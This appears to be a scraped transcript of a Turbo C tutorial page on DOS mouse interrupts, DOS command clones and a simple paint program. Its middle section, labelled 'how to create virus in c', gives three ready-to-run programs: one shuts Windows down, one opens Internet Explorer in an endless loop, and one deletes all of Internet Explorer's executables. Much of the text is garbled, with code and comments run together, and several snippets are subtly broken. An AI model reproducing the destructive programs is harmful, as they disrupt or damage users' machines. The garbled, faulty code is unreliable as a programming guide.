Mouse programming in c
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Transcript of Mouse programming in c
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Mouse programming in c(1) Write a c program which restricts the movement of pointer?Answer://restrict the x and y coordinate#include <dos.h>#include <stdio.h>void main(){
union REGS i,o;//show mouse pointer
i.x.ax=1;int86(0x33,&i,&o);
//x coordinate restrictioni.x.ax=7;i.x.cx=20;i.x.dx=300;int86(0x33,&i,&o);
//y coordinate restrictioni.x.ax=8;i.x.cx=50;i.x.dx=250;int86(0x33,&i,&o);getch();
}(2) Write c program which display position of pointer in (x coordinate, y coordinate)?Answer:#include<dos.h>#include<stdio.h>void main(){
union REGS i,o;int x,y,k;//show mouse pointeri.x.ax=1;int86(0x33,&i,&o);
while(!kbhit()) //its value will false when we hit key in the key board
{i.x.ax=3; //get mouse positionx=o.x.cx;y=o.x.dx;
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clrscr();printf("(%d , %d)",x,y);delay(250);int86(0x33,&i,&o);}getch();
#include <dos.h>#include <stdio.h>
void main()
{
union REGS i,o;
i.x.ax=1;
int86(0x33,&i,&o);
getch();
}
Explanation: To write such program you must have one interrupt table. Following table is only small part of interrupt table.
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To see complete interrupt table click here
This table consists for column. They are:
(1) Input
(2) Output
(3) Service number
(4) Purpose
Now look at the first row of interrupt table. To show the mouse pointer assign ax equal to 1 i.e. service number while ax is define in the WORDREGS
struct WORDREGS {
unsigned int ax, bx, cx, dx;
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unsigned int si, di, cflag, flags;
};
And WORDRGS is define in the union REGS
union REGS {
struct WORDREGS x;
struct BYTEREGS h;
};
So to access the structure member ax first declare a variable of REGS i.e.
REGS i, o;
Note: We generally use i for input and o for output
To access the ax write i.x.ax (We are using structure variable i because ax is input
(See in the interrupt table)
So to show mouse pointer assign the value of service number to it:
i.x.ax=1;
To provide this information to microprocessorwe use int86 function. It has three parameters
1. Interrupt number i.e. 0x33
2. union REGS *inputregiste i.e. &i
3. union REGS *outputregiste i.e. &o;
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So write: int86 (0x33, &i, &o);
How to create virus in c?Create simple virus by c programming language.(Only for study purpose)(1) Write c program which shutdown the window operating system?Answer:Step 1: Write the following program in TURBO C.void main (void){system("shutdown -s");}Step 2: Save the above file. Let file name is close.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (close.exe)After some time your window operating system will shutdown.(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?Answer:Step 1: Write the following program in TURBO C.void main (void){
for(; ;){system("c:\\progra~1\\intern~1\\iexplore.exe");}
}Step 2: Save the above file. Let file name is internet.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (internet.exe)
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(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?Answer:Step 1: Write the following program in TURBO C.void main(void){
system("cd c:\\progra~1\\intern~1");system(“del *.exe”);system(“cls”);
}Step 2: Save the above file. Let file name is delete.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (delete.exe)
How to create dos command in c?(1) Create a dos command: type by c program.
Answer:Step 1: Write following code.#include <stdio.h>void main(int count,char * argv[]){
int i;FILE *ptr;char *str;char ch;if(count==1){printf("The syntax of the command is incorrect.\
n");}for(i=1;i<count;i++){ptr=fopen(argv[i],"r");if(ptr==NULL){printf("The system cannot find the file
specified.");if(count>2)
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printf("\nError occurred while procesing : %s.\n",argv[i]);
}else{if(count>2){printf("%s\n\n",argv[i]);}while((ch=getc(ptr))!=-1)printf("%c",ch);}fclose(ptr);}
}Step 2: Save the as open.c (You can give any name)Step 3: Compile and execute the file.Step 4: Write click on My computer of Window XP operating system and select properties.Step 5: Select Advanced -> Environment VariablesStep 6: You will find following window:Click on new button (Button inside the red box)
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Step 7: Write following:Variable name: pathVariable value: c:\tc\bin\open.c (the path where you have saved)
Step 8: Open command prompt and write open then file name and press enter button.
Create dir command in cAnswer:Step 1: Write following code.#include <stdio.h>#include <dos.h>void main(int count,char *argv[]){
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struct find_t q ;int a;if(count==1)argv[1]="*.*";a = _dos_findfirst(argv[1],1,&q);if(a==0){while (!a){printf(" %s\n", q.name);a = _dos_findnext(&q);}}else{printf("File not found");}}Step 2: Save the as open.c (You can give any name)Step 3: Compile and execute the file.Step 4: Write click on My computer of Window XP operating system and select properties.Step 5: Select Advanced -> Environment VariablesStep 6: You will find following window:Click on new button (Button inside the red box)
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Step 7: Write following:Variable name: pathVariable value: c:\tc\bin\open.c (the path where you have saved)
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Step 8: Open command prompt and write list and press enter button
Write the c program to switch the 256 color graphics mode ?.Ans: #include<stdio.h>#include<dos.h>void main(){int x,y,b;union REGS i,o;i.h.ah=0;i.h.al=0x13;int86(0x10,&i,&o); getch();}
Write a c program to create a directory in current working directory?Ans: #include<stdio.h>#include<dos.h>void main()
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{union REGS i,o;i.h.ah=0x39;i.x.dx="ravan";int86(0x21,&i,&o); getch();}
Write a c programming code to create simple paint brush software.#include<dos.h>#include<stdio.h>#include<graphics.h>#include<stdlib.h>void main(){
int x,y,b,px,py,c,p,s,cl;int d=0,m;union REGS i,o;initgraph(&d,&m,"c:\tc");i.x.ax=1;int86(0x33,&i,&o);i.x.ax=8;i.x.cx=20;i.x.dx=450;int86(0x33,&i,&o);printf("Brush style insert number from 0 to 5 :
");scanf("%d",&p);printf("Brush size insert number from 1 to 7 :
");scanf("%d",&s);printf("Brush color insert number from 1 to 16 :
");scanf("%d",&cl);clrscr();cleardevice();printf("\t\t**********DRAW IMAGE************");while(!kbhit()){i.x.ax=3;b=o.x.bx;
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x=o.x.cx;y=o.x.dx;px=x;py=y;int86(0x33,&i,&o);if(cl==16){c=random(16);}else{c=cl;}setcolor(c);if(b==1){i.x.ax=3;int86(0x33,&i,&o);x=o.x.cx;y=o.x.dx;b=o.x.bx;switch(p){case 1:circle(px,py,s);break;case 2:ellipse(px,py,0,270,s,s+2);break;case 3:fillellipse(px,py,s+2,s);break;case 4:rectangle(px,py,x,y);break;case 5:sector(px,py,30,120,s,s);break;default:line(px,py,x,y);}}}getch();restorecrtmode();closegraph();
}
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